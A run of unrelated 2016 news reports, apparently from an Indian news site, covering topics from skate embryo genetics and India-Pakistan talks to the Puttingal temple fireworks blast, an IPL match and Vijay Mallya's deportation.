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In 1878, German anatomist Karl Gegenbaur proposed that paired fins and limbs evolved from a structure resembling the gill arch of cartilaginous fishes. However, nothing in the fossil record has ever been discovered to support this.

Now, researchers at the University of Cambridge have reinvestigated Gegenbaurs ideas using the latest genetic techniques on embryos of the little skate and found striking similarities between the genetic mechanism used in the development of its gill arches and those in human limbs.

Scientists said it comes down to a critical gene in limb development called Sonic hedgehog, named for the videogame character.

The new research shows that the functions of the Sonic hedgehog gene in human limb development, dictating the identity of each finger and maintaining growth of the limb skeleton, are mirrored in the development of the branchial rays in skate embryos.

It shows aspects of Gegenbaurs theory may in fact be correct, and provides greater understanding of the origin of jawed vertebrates - the group of animals that includes humans, said Andrew Gillis, from the University of Cambridge.

"Gegenbaur looked at the way that these branchial rays connect to the gill arches and noticed that it looks very similar to the way that the fin and limb skeleton articulates with the shoulder," said Gillis.

In mammal embryos, the Sonic hedgehog gene sets up the axis of the limb in the early stages of development.

"In a hand, for instance, Sonic hedgehog tells the limb which side will be the thumb and which side will be the pinky finger," said Gillis.

In the later stages of development, Sonic hedgehog maintains outgrowth so that the limb grows to its full size.

To test whether the gene functions in the same way in skate embryos, researchers inhibited Sonic hedgehog at different points during their development.

They found that if Sonic hedgehog was interrupted early in development, the branchial rays formed on the wrong side of the gill arch.

If Sonic hedgehog was interrupted later in development, then fewer branchial rays formed but the ones that did grow, grew on the correct side of the gill arch - showing that the gene works in a remarkably similar way here as in the development of limbs.

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The findings were published in the journal Development. PTI MHN SAR SAR

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Talking to reporters, Vikas Swarup pointed out that New Delhi's recent engagements with Islamabad centered around the Pathankot terror attack but other issues have also been part of discussions.

By India Today Web Desk: The dialogue process between India and Pakistan has not been suspended, Ministry of External Affairs spokesperson Vikas Swarup said today, nearly a fortnight after Pakistan High Commissioner Abdul Basit's remark that talks between the two neighbouring nations have been shelved.

Talking to reporters, Swarup pointed out that New Delhi's recent engagements with Islamabad centered around the Pathankot terror attack but other issues have also been part of discussions.

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"Multiple conversations have been held between India and Pakistan at multiple levels including at the level of the two Prime Ministers who spoke to each other quite recently. Obviously, after the Pathankot terror attack, the focus of the conversations was on the investigation of that particular attack," Swarup said when asked about the status of On the status of India-Pakistan dialogue.

"However, other aspects of the relationships have also been discussed. I have made statements and so has my Pakistani counterpart. So this should give you clarity that the dialogue process has not been suspended," he added.

On Thursday Pakistan Foreign Office spokesman Nafees Zakaria said, "Pakistan will be ready to talk when India is ready."

"This question has been repeatedly asked and I would not enter into the debate of what words were used by both sides," he said at the weekly briefing.

To another question, he said that Pakistan and India are the two neighbors which "must live in peace and harmony".



During an interaction with reporters in New Delhi earlier this month, Basit had said, "I think at present the peace process between India and Pakistan is suspended."

Asked about Pakistan Prime Minister Nawaz Sharif's foreign affairs adviser Sartaj Aziz's remarks that Pakistan may consider allowing a visit by the NIA team if India would make a formal request, Swarup said, "The (Pakistan) JIT visit was held in a constructive and cooperative environment to investigate the Pathankot Air Base attack. We welcome cooperation to combat all forms of terrorism. The investigations are ongoing. We will consider the next step at appropriate time."

Earlier this week, Sartaz Aziz played down the controversy surrounding 'suspension' of dialogue between the two nuclear-capable neighbouring nations. "The word suspended doesn't mean cancelled or given up," Aziz told a television channel.

Also Read:

Despite Abdul Basit's 'suspended talks' comment, Pakistan says dialogue with India on



Centre hopeful of NIA team's visit to Pakistan to probe Pathankot attack



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Unlike David Coleman Headley who entered a plea bargain with the US, Rana can be extradited to India to face trial if India is able to convince the US of his role in plotting terror attacks in India.

By Gaurav C Sawant: The National Investigation Agency (NIA) is seeking the extradition of Tahawwur Hussain Rana, a former Pakistan army doctor, who helped David Coleman Headley set up business in Mumbai. It is alleged that he helped carry out reconnaissance missions in India. Rana was convicted in the US for plotting terror strikes.

Unlike David Coleman Headley who entered a plea bargain with the US, Rana can be extradited to India to face trial if India is able to convince the US of his role in plotting terror attacks in India. To avoid the double jeopardy clause (a man cant be punished twice for the same crime), the NIA is not seeking his extradition for plotting 26/11 Mumbai terror attacks but for conspiring to organise mass casualty terror attack post 26/11.

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"A request for extradition has been made to the US. The NIA had registered a case 04/09 against Rana, Lashkar-e-Taiba and Harkat ul Jihadi Islami (HuJI) for organising mass casualty terror attacks in India. We have a strong case and are hopeful,'' Sanjiv Singh, Inspector General (Investigations) NIA told MAIL TODAY.

The NIA is also seeking Rana's extradition in a case of forgery, where he is accused of having forged documents for David Coleman Headley to set up business in India. "He has so far been tried and found guilty of plotting the 26/11 terror attack in India. But NIA investigations seek his custody for plotting terror attacks after 26/11, including the conspiracy to target the National Defence College (NDC) in New Delhi, a Jewish centre and a popular tourist attraction in Pune,'' sources said.

Rana, a Pakistan army deserter had fled to the US. He sought David Headley's assistance to return to Pakistan. Headley in turn put him in touch with ISI officers

"Agencies are pursuing the matter effectively. All necessary steps will be taken to unravel the conspiracy and global assistance will be taken to bring the perpetrators of terror to justice,'' says Kiren Rijiju, Minister of State for Home.

Also Read:

Didn't take Ishrat's name during Tahawwur Rana's trial: Top 10 revelations by Headley



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Sabrina De Sousa, 60, who has a dual citizenship of the US and Portugal, told The Washington Post that she played no role in Egyptian cleric Hassan Mustafa Osama Nasr's, also known as Abu Omar, kidnapping. She lives in Portugal while her 90-year-old mother lives in India.

By Press Trust of India: An Indian-origin former CIA officer is facing extradition from Portugal to Italy and a possible four-year jail term for her alleged role in the American intelligence agency's abduction of an Egyptian cleric in 2003 from Milan, according to a media report.

Sabrina De Sousa, 60, who has a dual citizenship of the US and Portugal, told The Washington Post that she played no role in Egyptian cleric Hassan Mustafa Osama Nasr's, also known as Abu Omar, kidnapping. She lives in Portugal while her 90-year-old mother lives in India.

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She was among 26 Americans convicted in absentia by Italian courts for her alleged role in the February 2003 rendition of Omar.

She faces no threat for imprisonment in Italy as she moved back to the US long before the Italian trial began. However, she was detained in Lisbon last year by Portugal authorities in response to a European arrest warrant.

"This week, Portugal's highest court upheld the country's lower courts' rulings, declared that they did not violate the constitution, and said De Sousa should be sent to Italy as soon as May 4," the Post reported yesterday.

At the same time, Portugal's Constitutional Court also reiterated a condition set by the lower courts and guaranteed by Italy in De Sousa's European arrest warrant that once she arrives in Italy, she must be given another trial or a chance to appeal with new evidence, and the ability to call Italian and US witnesses, because she had been tried in absentia, the daily reported.

"De Sousa's extradition and potential imprisonment would be an astonishing turn of events for a case that raises major questions about how much diplomatic protection CIA case officers abroad possess when carrying out operations sanctioned by their superiors," the paper said.

Benjamin Fischer, a former CIA chief historian, described this as unprecedented. In her interview to the daily, she rued that the CIA is not helping her. CIA declined to comment.

"Those of us who were convicted were accredited diplomats and declared to the Italian government. We instead find ourselves treated like NOCs with our US government affiliation disavowed.

"I would have never joined the CIA if I was told there was a remote possibility that I would never see my mother in Goa again and not travel abroad. This has set a terrible precedent. This rendition was funded by Congress with approval of senior government officials in the US, Italy and Egypt," De Sousa said.

It all began on February 17, 2003 when a team of CIA agents in Milan swooped down on Omar, as he walked from his apartment. He was flown to Egypt, where he was interrogated and released later. In 2005 reports surfaced that CIA officers had allegedly broken local laws against detaining terrorist suspects in Europe.

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De Sousa resigned in 2009 after she failed in her efforts to persuade the State Department to grant her immunity.

According to a 2012 report in Caravan, Sabrina grew up in Mumbai. She married a US diplomat in 1985 when she changed her citizenship. They divorced in 1996.



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By PTI: New Delhi, Apr 22 (PTI) Environment Solutions provider Ion Exchange today announced the launch of a chemical blending facility in Bahrain.

"The new facility will serve as the chemical export hub for the Gulf Cooperation Council (GCC) region and North Arab states," the company said in a statement.

The facility was set up with the support of the Bahrain Economic Development Board (EDB).

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Ion Exchange is expanding its facility in Bahrain in order to improve the products and services it offers the wider GCC region, a market currently worth around USD 1.5 trillion, the statement added.

Ion Exchange specialises in water treatment and provides a complete portfolio of advanced environmental solutions to industrial, institutional, residential, home, rural and urban developments.

The company has a strong global presence with plants in various parts of the world, with offices in the Middle East, South East Asia, Africa, Canada and the US. PTI LUX ANU

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The attack also wounded at least 25 others.

A member loyal to the Islamic State in Iraq and the Levant (ISIL) waves an ISIL flag in Raqqa June 29, 2014. Photo: Reuters

By Reuters: A suicide bomb attack claimed by Islamic State killed at least nine people following Friday prayers at a Shi'ite Muslim mosque in southwestern Baghdad, police and hospital sources said.

A second suicide attacker at the mosque in al-Radwaniya district was shot and killed by security forces before he could set off his explosives, the police sources said.

A separate bomb went off in the district of Abu Ghraib, west of Baghdad, killing two and wounding nine, security and medical sources said.

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Islamic State was behind the larger attack, which also wounded at least 25 others, according to Amaq news agency, which supports the group. There was no immediate claim of responsibility for the second blast.

The rise of the ultra-hardline Sunni Muslim group, which is battling government forces over control of vast territory in northern and western Iraq, has exacerbated a long-running sectarian conflict, mostly between Shi'ites and Sunnis, that emerged after the U.S.-led invasion in 2003.

The Iraqi government has retaken several major cities from Islamic State in the past year and slowly pushed the militants back toward the Syrian border. The authorities have said they want to recapture the northern city of Mosul this year, but Iraqi officials privately question whether that is possible.

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The red-and-white prototype X-2 took off from Nagoya airport Friday and flew 25 minutes to an Air Self-Defense Force base in nearby Gifu Prefecture.

The prototype of Japan's first stealth aircraft type X-2 takes off an airport in Toyoyama, Aichi prefecture, central Japan. (Photo: AP)

By AP: Japan's first domestically manufactured stealth plane has made its first flight, making Japan one of only a handful of nations with airplane stealth capabilities.

The red-and-white prototype X-2 took off from Nagoya airport Friday and flew 25 minutes to an Air Self-Defense Force base in nearby Gifu Prefecture.

The prototype of Japan's first stealth aircraft type X-2 flies over Kakamigahara city, Gifu prefecture, central Japan. (Photo: AP)

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The X-2 is designed to test stealth technology that could be used in Japan's next-generation fighter jet.

The stealth plane, with a 14-meter- (45-foot-) long fuselage and 9-meter- (30-foot-) wingspan, comes with radar-resistant features, such as a canopy with stealth-enhancing coating.

It was developed by a consortium led by Mitsubishi Heavy Industries at a cost of 39.4 billion yen ($360 million), according to Japanese media reports.

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Katrina Kaif was expected at this year's Cannes International Film Festival, but the Fitoor actor is likely to give the film festival a miss.

By India Today Web Desk: Katrina Kaif was expected at this year's Cannes International Film Festival, but the Fitoor actor is likely to give the film festival a miss. Reason? The dates of the festival are clashing with shoot of her upcoming film Jagga Jasoos.

ALSO READ: Jagga Jasoos - Anurag Basu cancelled the Morocco shoot? Here's what Ranbir Kapoor has to say

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ALSO READ: Jagga Jasoos - After the break-up, Katrina Kaif joins ex-boyfriend Ranbir Kapoor on the film sets?

"The Morocco shoot and all remaining days have to be prioritised. Since the dates of Cannes Film Festival are clashing with the schedule of the film, Katrina had to give the film festival a miss," sources told PTI.

Jagga Jasoos has been in making for the longest time now and Ranbir-Katrina's break-up has affected the shooting of their upcoming film Jagga Jasoos time and again. And now it seems that Katrina is determined to finish the shoot of her upcoming film Jagga Jasoos.

According to a report in Mid-Day, a source said, "If she has committed to something, she will make sure that she does it, no matter what personal issues she is facing. She is determined to concentrate her energies on the work commitments she has in hand."

A close friend of the Bang Bang actor told the tabloid, "She chose to finish the Moroccan schedule of her film though she was very keen on being part of the Cannes festival. She had a great time there last year."

Jagga Jasoos was to release in June, but it has now been postponed to July or August. Earlier, Anurag Basu had also said, "Having a real-life couple is not an advantage but it is rather a disadvantage. The actors know each other so well and you are lovers in real-life, it gets difficult for them to bring their chemistry on the screen. So this is going to be very challenging."

Meanwhile, Katrina has also wrapped up the shooting for Nitya Mehra's Baar Baar Dekho. And Ranbir will also be seen in Karan Johar's Ae Dil Hai Mushkil.

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By Somya Abrol: What're the top three things that come to mind when you think 'Kerala Cuisine'?

Though we're not mind-readers (especially not the digital ones), our guesses would be fish, spice and curry leaves. By all means, correct us if we're wrong. But the fact that the above-mentioned are customary to almost all forms of food that come out of Kerala cannot be ruled out.

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So, when Cafe Dalal Street came up with the concept of a Toddy Shop Evening in collaboration with Chef Arun Kumar's Zeaside, we were evidently excited.

The pop-up menu for the fest flaunts a couple of vegetarian and non-vegetarian appetizers each, besides chicken/vegetable Kerala stew with appam, and some very enticing desserts.

The appetizers had our heart at Kerala Fish Fry--with our mighty head already making plans for the next visit over Sunday beer--but the Chicken 65 made our weekend resolve waver. The fish was succulent as can be, with surprisingly mild spices and curry leaves-mustard tempering, needing just the slight dash of lemon juice. The Chicken 65, however, was difficult to cut through (yes, with a table knife). While the spice-rub was all kinds of mouth-watering, the quality of the chicken itself, we reckon, was compromised; it'd be convenient to blame the heat.

Gunpowder Prawns are also part of the menu.

One thing, however, we'd like the restaurant to turn into a regular feature is the Kerala Stew (in coconut milk) with cloud-like appams. The delicately balanced flavours of the coconut milk, the curry leaves and the chicken (the chicken complied here) left a mildly sweet, creamy aftertaste worth relishing.

Chicken 65 Chicken 65

What took the cake, however, was the Gur (jaggery) Pudding, which was served in an earthen pot. Though the Tender Coconut Payasam also came close, the jaggery pudding was just the touch of genius a pop-up fest like this begets. The ingredients were just as simple as jaggery, eggs and coconut milk, but the confluence of simplicity--in food as in life--causes magic. Even if you're just passing by Connaught Place, stop over for a quick dessert here for just this pudding. You won't mind the extra calories!

What: Zeaside Pop-Up with Toddy Shop Evening

Where: Cafe Dalal Street, M 89/90, outer circle, Connaught Place, New Delhi

When: April 22 to 24, 2016 (7pm onward)

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By PTI: New Delhi, Apr 22 (PTI) A Pakistani national and the husband of Chikku Robert, a nurse from Kerala who was found murdered at her residence in Oman, have been put under detention and are being investigated in the case, External Affairs Ministry said today.

"On 21st April in Salala Oman, a nurse from Kerala, Chikku Robert was found murdered. Our mission in Muscat has informed us that the royal Oman police is currently investigating her death. A neighbour, who is a Pakistani national and her husband are under detention and are being investigated.

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"The Embassy is in touch with the police authorities concerned. Her mortal remains are in a mortuary in the custody of royal Oman police. The Mission in Oman will continue to follow up the case with authorities concerned including release and transportation of the mortal remains after the investigation is completed as per the wishes of the family," MEA Spokesperson Vikas Swarup said.

According to reports, Robert (25) was stabbed to death at her residence. PTI PYK ZMN

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Star batsmen A.B. de Villiers and Virat Kohli smashed quick-fire half-centuries followed by a disciplined bowling effort which guided Royal Challengers Bangalore to a comfortable 13-run victory over Rising Pune Supergiants in an Indian Premier League (IPL) contest in Pune on Friday.

By Indo-Asian News Service: Star batsmen A.B. de Villiers and Virat Kohli smashed quick-fire half-centuries followed by a disciplined bowling effort which guided Royal Challengers Bangalore to a comfortable 13-run victory over Rising Pune Supergiants in an Indian Premier League (IPL) contest in Pune on Friday. (This is how Kohli, De Villiers handed RCB a thumping win over Pune)



De Villiers (83 off 46 balls) and Virat Kohli (80 off 63 balls) helped Bangalore post a competitive total of 185/3 in 20 overs. In reply, despite opener Ajinkya Rahane's 60, the hosts lost wickets at regular intervals and could manage only 172/8 in 20 overs. (Photo Gallery)



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Kane Richardson (3-13) and Shane Watson (2-31) were the pick of the bowlers for Bangalore, while Harshal Patel and Tabraiz Shamsi claimed one wicket each.

Chasing a challenging target of 186, Pune got off to a disappointing start, losing opener Faf du Plessis (2) and Kevin Pietersen (0 retired hurt) inside two overs.

The hosts received yet another blow as the side lost Steve Smith (4), after Virat Kohli ran him out to put Pune in a spot of bother at 18/2 in 2.3 overs.

But opener Rahane along with new batsman and skipper Mahendra Singh Dhoni (41) used their experience to best effect to hold on to the wicket and sneaking in with runs to help team post 36/2 after completion of powerplay.

Rahane showed his class yet again with the bat to bring up his half-century in just 37 balls and help team stay in hunt for the run chase.

Dhoni-Rahane combined to post 73/2 in 10 overs.

Dhoni was aiming to take on the bowlers, but got out in the 16th over to have the team in trouble.

Thisara Perera hit Patel for 25 runs in the 18th over to put Pune back into the run chase. But the 19th over saw Watson dismissing Perera to have match turned on in favour of the visitors.

Earlier put into bat, Bangalore got off a slow start, losing opener K.L. Rahul (7) in the fourth over to put a breaks on the scoring.

But his opening partner Kohli and de Villiers kept the scoreboard ticking, sneaking in with ones, twos to take the score to 48/1 after completion of the powerplay.

But soon after the powerplay, the in-form duo unleashed their pyrotechnics to smash boundaries and sixes at regular intervals without losing any wickets to take team to 97/1 in 11 overs that set up the stage for yet another big score.

Kohli and de Villiers made it look simple as the Indian and South African pair brought up their 100-run partnership for the second wicket in just 69 balls and helped their team reach 128/1 in 15 overs.

The duo put on 155-run partnership for the second wicket to take team to a competitive total, before Kohli and De Villiers were dismissed in successive balls in 20th over.

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Perera (3-34) was the pick of the bowlers for Pune.

Brief Scores: Royal Challengers Bangalore: 185/3 in 20 overs (AB de Villiers 83, Virat Kohli 80; Thisara Perera 3-34) vs Rising Pune Supergiants 172/8 in 20 overs (Ajinkya Rahane 60; Kane Richardson 3-13, Shane Watson 2-31)

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Investigations by the Kerala police into the April 9 Puttingal temple tragedy that killed 114 persons have zeroed in on the use of a banned explosive, potassium chlorate, as the prime reason for the magnitude of the tragedy. "The pyrotechnic workers we arrested admitted to using the chemical to enhance the sound and colours of the firecrackers," S. Sreejith, Inspector General of Police, Kerala Crime Branch, told india today. The workers stockpiled nearly one tonne of the white, volatile powder in a godown on the premises of the 500-year-old temple in Kollam district, with catastrophic consequences.

Over 350 people were injured in the blast which took place after a stray rocket from the display hit the godown barely 15 metres from the temple yard. The highly volatile chemical stockpile exploded, showering lethal shrapnel all over. In one instance killing a motorcyclist over a kilometre away. Only 11 people died of burn injuries, investigators say. The rest were killed by the shockwave of the blast or crushed by the lethal debris-concrete beams and building material.

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"Had potassium chlorate not been used, we would not have seen so many casualties," says R. Venugopal, the Hyderabad-based deputy chief controller of explosives. In Puttingal, police investigations found that the asaans or 'master craftsmen', an honorific used for pyrotechnics experts in Kerala, purchased 1.2 tonne of the deadly potassium chlorate. Master craftsman Krishnakutty of Paravoor, now absconding, bought the chemical from Abdul Rasheed, 48, a Kollam-based dealer. His competitor at the festival, Surendran, was killed in the blast. Some 17 people have been arrested since April 11 and police have recovered around 4 tonne of potassium chlorate stored in different godowns in Kollam district. Another stockpile of 800 kg was recovered from three cars parked at a nearby temple. Surendran had kept it there to avoid police scrutiny.

The police version on the use of potassium chlorate was corroborated by a probe team from the Petroleum and Explosives Safety Organisation (PESO), an organisation that controls and monitors the use, storage and licensing of explosives in India. Sudarshan Kamal, chief controller of explosives, who visited the site, termed it a "gross violation of explosives norms and safety standards". His report to the Union ministry of commerce and industries and a copy to the state government mentions the use of the banned chemical.

The findings of this investigation, particularly the easy availability of potassium chlorate, have now opened up a serious internal security dimension. "If a local fireworks craftsman can collect a tonne of potassium chlorate, terror groups can surely use larger quantities to carry out attacks," says a senior police official.

Graphic by Saurabh Singh

Such fears are not unfounded. In 2013, after the US clamped down on the Afghan Taliban's supplies of ammonium nitrate, the organisation started using potassium chlorate to fashion lethal improvised explosive devices (IEDs) to attack coalition troops. A third of Taliban IEDs were estimated to contain potassium chlorate sourced from Pakistan's safety match industries. More recently, the chemical was allegedly used by the banned Students Islamic Movement of India to carry out a blast which killed one person in Bengaluru in December 2014. How this chemical finds its way into Kerala is a lethal cocktail of illegality, lethargy, blatant violations of multiple government norms and corruption.

The Potassium Chlorate trail

It's a week after the tragedy and Puttingal temple has reopened to the public. The village is also slowly limping back to its feet. The district administration has been providing villagers with drinking water as the blast has contaminated the village wells. Around 700 people, witnesses to the tragedy, have been given counselling and 15 of them psychiatric care. Five of the seriously injured remain critical.

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To know why this lethal chemical that changed their lives is so easily available, one has to understand the competitive ostentation at the heart of Kerala's booming fireworks industry (worth Rs 4,000 crore annually). What makes it unique is the patronage by an estimated 253 places of worship, both Christian and Hindu, through the state's festive season that begins in February and goes on until May.

Over the years, competition has become intense and the crackers have grown in size, easily outstripping the 15 kg limit a licensed pyrotechnician is allowed. As was the case in Puttingal, celebrations turned into illegal 'fireworks competitions' between rival groups. Potassium chlorate appeared on the scene a few years ago. A routine legal ingredient for the safety match industry, its use in fireworks was prohibited.

Kerala's fireworks industry soon looked across the border, to Tamil Nadu, for ways to circumvent the ban. The VO Chidambaranar Port Trust in Thoothukudi, nearly 137 km north of Kanyakumari, is the gateway for nearly 80 per cent (nearly 8,000 tonnes) of potassium chlorate imported from China. All of it is accounted for because it is imported under licence by 36 importers, ostensibly for use in the safety match industries in Kerala and Tamil Nadu. And here's the catch: a majority of the match industries in both states are today defunct, overtaken by the arrival of cheap cigarette lighters. Their licences are, however, used by fireworks industries to import the deadly substance. "The few matchstick factories still functioning now use potassium perchlorate, so the end users must be the fireworks industry," admits Joe Villavarayar, a container terminal operator in Thoothukudi.

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The end use of the chemical is not monitored. "After the chemical leaves an Indian port, it is not tracked. Anybody can purchase it and use it as they wish," admits a senior police official. The chemical is trans-shipped to fireworks manufacturers in Kerala, sometimes repacked as barium chlorate to hoodwink officials. Once the trucks carrying the explosive material enters Kerala, it simply vanishes. There is no mystery, however. "If you total the volume of explosives blasted during the festivals, you have your answer," says T.R. Thomas, former chief controller of explosives. A four-hour display could consume between 4-6 tonne of explosives.

Kerala has a shockingly callous approach towards the handling of explosives. The collectors in all 14 districts issue around 2,500 licences under the Explosives Act every year to quarry operators and the firecracker industry.

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Violations of safety standards are evident from documents that list the names of valid licensees in the state. PESO issued just six licences to make 497 kg of firecrackers for the year within the state. Nearly all the giant rockets, now an essential part of fireworks displays, are illegal. The religious overtones to the displays mean everyone turns a blind eye to violations. Dr Sebastian Paul, a former CPI(M) MP and now a Kochi-based lawyer, puts this social menace in perspective, "Kerala has only 762 liquor shops but it has over 2,500 explosives licences."

A botched explosives review?

In 2011, a task force headed by then national security advisor (NSA) Shiv Shankar Menon made several recommendations to address India's internal security challenges, one of them being controls on easily available commercial explosives. The same year, the Kerala police set up a special cell to monitor sales of explosives in the state.

A circular sent to all district police chiefs instructed them to inspect explosives storehouses in their regions, verify documents and report back. The special cell was also asked to set up a data bank with names of explosives licensees and offences, if any, registered against them. But then the cell was quietly disbanded (without an order) and officers transferred out to other departments. A senior police official, who does not want to be named, explains why. The special cell's activities had disturbed the state's politically-connected quarry mafia which pays huge amounts to political parties. Several politicians and police officials are believed to be on their regular payroll.

Political pressure had mounted after district police officials started raiding premises and registering cases against offenders under the Explosives Act. Former DGP Jacob Punnoose, the original proponent of the special cell, wants it to be revived. "There should be a system that monitors explosives, otherwise more such tragedies will happen," he warns. Unfortunately, the boom of Kerala's fireworks has drowned out such voices of reason.



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By PTI: Colombo, Apr 22 (PTI) Sri Lankas main Tamil party TNA- controlled northern provincial council today adopted a resolution seeking a federal solution to the long-pending issue of political independence for the counrys minority Tamil community.

The resolution adopted by Tamil National Alliance (TNA) aims to have the federal solution included in the current constitution-making process.

The government headed by President Maithripala Sirisena and Prime Minister Ranil Wickremesinghe has already launched a process to formulate a new Constitution for the country replacing the 1978 statute.

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The Tamil demand for a federal solution dates back to the days when Sri Lanka, then Ceylon, came to be granted independence by the British in 1948.

Later, the campaign was extended to a separate state demand when the LTTE fought a decades-old war with the government to carve out a separate Tamil homeland.

With the defeat of the LTTE in 2009, the Tamil leadership has adopted a softer approach to give up on the separatist demand. PTI CORR SAI AKJ SAI

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By Shreya Goswami: A Korean man, identified by just his surname, Kim, made the decision of combining his love for Louis Vuitton, the world-renowned luxury brand, and tongdak ('whole chicken' in Korean). He opened a fried chicken shop in Seoul and called it Louisvui Ton Dak. He even went on to create a logo similar to that of the luxury brand and put it on the napkins for his shop.

Louis Vuitton takes its brand name, its reputation and any misappropriations thereof, very seriously. Photo courtesy: Instagram/gopack1bag

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Also read: Louis Vuitton and UNICEF 'join fingers' to make the world a better place



You might think this is the sort of tribute to both food and fashion that could grab the world's attention for all the right reasons. Unfortunately, brand names with value, originality and fame cannot be adapted by other businesses without paying a penalty for it.

Tongdak is a Korean dish of whole chicken cut up and fried with seasoning. Photo courtesy: Instagram/lyukim

In September 2015, according The Korean Times' report, Louis Vuitton, with the Seoul Central District Court's mediation, asked Kim to change the name of his restaurant. Kim then changed it to chaLouisvui Tondak, thinking this sounded different enough.

Also read: 12 things to know about Louis Vuitton and his legacy, on his birthday



Louis Vuitton disagreed, and appealed to the district court to intervene again. Kim will now have to pay Luis Vuitton a hefty fine of $12,750 or KRW14.5 million won (the South Korean currency) for misappropriating the name and using it for 29 days.

Chanel's No.5 was misappropriated by an Australian chocolatier last year. Photo courtesy: Instagram/melloneyvfin Chanel's No.5 was misappropriated by an Australian chocolatier last year. Photo courtesy: Instagram/melloneyvfin

Clearly, parody is not the best form of flattery. Another case in point, as Vogue has pointed out, is last year's Chanel versus Alison Peck case. Peck created a chocolate bar and called it No.5.--No.5 has been Chanel's signature fragrance since 1921--but Chanel didn't take it too well. They issued a cease-and-desist notice against Peck, ensuring she changed her mind and the chocolate's name.

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Haryana government today transferred 16 Indian Police Service (IPS) officers with immediate effect.

By Press Trust of India: Haryana government today transferred 16 Indian Police Service (IPS) officers with immediate effect.

K Selveraj, Director General (DG), Human Rights and Litigation, Police Headquarter, Panchkula has been posted as Director General, Haryana Police Housing Corporation against a newly created post.

Sheel Madhur, DG, Police Reforms, Bhondsi has been posted as DG, state vigilance bureau (SVB), Gurgaon.

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B K Sinha, Additional Director General, Recruitment Training Centre (RTC), Bhondsi with additional charge of SVB, Panchkula and also nodal officer has been posted as in charge of Bhondsi Complex in addition to his present duties, an official release said here.

K K Sindhu, Additional Director General of Police (ADGP), Director Haryana Police Academy, Madhuban has been posted as in charge of Madhuban Complex in addition to his present duties.

R C Mishra, ADGP, Home Guards with additional charge of Additional Director General, SVB, Gurgaon has been posted as Commissioner of Police (CP), Ambala-Panchkula. O P Singh, CP, Ambala-Panchkula has been posted as Inspector General of Police, Hisar Range, Hisar against a vacant post.

Saurabh Singh, Joint Commissioner of Police, Gurgaon has been posted as Deputy Inspector General (DIG), State Crime Branch.

H S Doon, DIG, State Crime Branch has been posted as SP, Sonepat, in the rank of DIG.

Y Puran Kumar, DIG, Law and Order, Police Headquarter, Panchkula has been posted as Joint CP, Gurgaon.

Rakesh Kumar Arya, SP, Railways with additional charge of SP, Telecom has been posted as SP, Jind with additional charge of SP, Telecom.

Abhishek Garg, SP, Sonepat, has been posted as SP, CID, against a vacant post.

Manisha Chaudhary, SP, SVB, Gurgaon has been posted as DCP, Rural, Ambala against a vacant post.

Abhishek Jorwal, SP, Jind has been posted as SP, state crime branch against a vacant post.

Rajender Kumar Meena, SP, state Crime Records Bureau, Madhuban has been posted as Additional Superintendent of Police (ASP), Hisar.

Kuldeep Singh, SP, Intelligence, CID has been posted as SP, Railways.

Himanshu Garg, ASP, Ferozpur Jhirka has been posted as ASP, Rohtak.



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By Samonway Duttagupta: With Indian travellers making a significant to the tourism economy of Malaysia, the country has now introduced the Electronic Travel Authorization Visa (e-visa) for a short visit to the country. The e-visa will cost Rs 2,710 and can be availed for a single journey of maximum 30 days. It can be obtained within 24-48 hours with a validity of 3 months.

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Now that we know that Indians are in love with this destination, let's take a look at the four must-visits in the capital city of Kuala Lumpur.



Sunway Lagoon

Picture courtesy: Flickr/Eustaquio Santimano/Creative Commons

A trip to Kuala Lumpur can never be complete without a visit to this theme park. Sunway Lagoon is spread across an area of 88 acres and has six dedicated adventure zones -- Water Park, Amusement Park, Wildlife Park, Extreme Park, Scream Park and Nickelodeon Lost Lagoon. The Water Park has an entire fake wave pool and huge slides, while the Wildlife Park is home to tigers, snakes, birds, and lots of other animals. The other adventure sections are all adrenaline-inducing and can be fun, no matter what your age is.

Petronas Towers

Picture courtesy: Wikimedia/Luke Watson/Creative Commons

Also known as the Twin Towers of Kuala Lumpur, the Petronas Towers climb up to a height of 451.9 metres with 88 storeys in it. Visitors can go on a tour inside these architectural marvels, which include interactive displays showcasing its build journey, from idea to completion, and an elevator ride to the Skybridge that connects the two towers. The Skybridge is by far the best viewing point in the city, offering some of the most stunning panoramas of Kuala Lumpur. If you are planning to visit, do make the bookings in advance as it is hard to get last-minute tickets in the holiday season. There's also a nice fountain below the Twin Towers, outside the mall, which is nice to sit around and watch. For kids, there's a massive park with swings adjoining this area.

Kuala Lumpur Bird Park

A scarlet ibis in Kuala Lumpur Bird Park. Picture courtesy: Flickr/David Berkowitz/Creative Commons A scarlet ibis in Kuala Lumpur Bird Park. Picture courtesy: Flickr/David Berkowitz/Creative Commons

Set in an area of 21 acres, the Kuala Lumpur Bird Park can prove to be a birdwatcher's paradise. Located next to the Lake Gardens, this park is home to about 3,000 birds belonging to more than 200 avifaunal species. While most of the birds are local, there are a quite few imported species as well. Popular among both tourists and research scientists, it is one of the largest covered bird parks in the world.



The malls

A mall in Kuala Lumpur. Picture courtesy: Flickr/AI404/Creative Commons

If you are somebody who travels the world for the love of shopping, Kuala Lumpur just can't disappoint you. The city has a mall mile, literally. With massive structures and beautifully made interiors, all the fancy malls are located in close proximity to each other, and offer a great shopping experience to Indians because of the attractive conversion rate. Not only can you buy international brands like LV, you can also buy high street brands like GAP, Charles & Keith etc. But even more interesting are the local brands that are high quality and value for money.

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By Mail Today: The Enforcement Directorate has sought deportation of business tycoon Vijay Mallya after a nonbailable warrant was issued against him. The ED has approached the External Affairs Ministry seeking initiation of deportation proceedings against Mallya in connection with its money-laundering probe against him in the alleged Rs 900-crore IDBI loan fraud case.

The agency has written to the MEA and will also soon write to the CBI to get an Interpol Red Corner Notice (RCN) issued against the Rajya Sabha MP to get him arrested, based on the NBW directed by a Mumbai court. Mallya has been evading ED sleuths and has not appeared before them after being summoned thrice.

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The MEA had suspended Mallya's diplomatic passport last week and has sought a reply from him as to why his passport should not be revoked as the ED said the businessman was not cooperating in the probe in the said case under the stringent Prevention of Money Laundering Act (PMLA).

Sources said once the deportation proceedings are initiated, the MEA will seek assistance of their counterparts in the United Kingdom to interdict Mallya and fly him back to India. The grounds for deportation are primarily two - a non-bailable warrant issued by a Mumbai court and suspension of the passport of the businessman, officials said.

Mallya is understood to be in the UK after he left India on March 2. A Hyderabad court had on Wednesday convicted Mallya in a cheque-bouncing case filed against him by GMR Hyderabad International Airport. With the latest request for deportation, the ED has virtually deployed all legal measures in place to bring back Mallya to India and make him join investigations in person, which the agency had stated in a Mumbai court was essential to take the probe forward in the case.

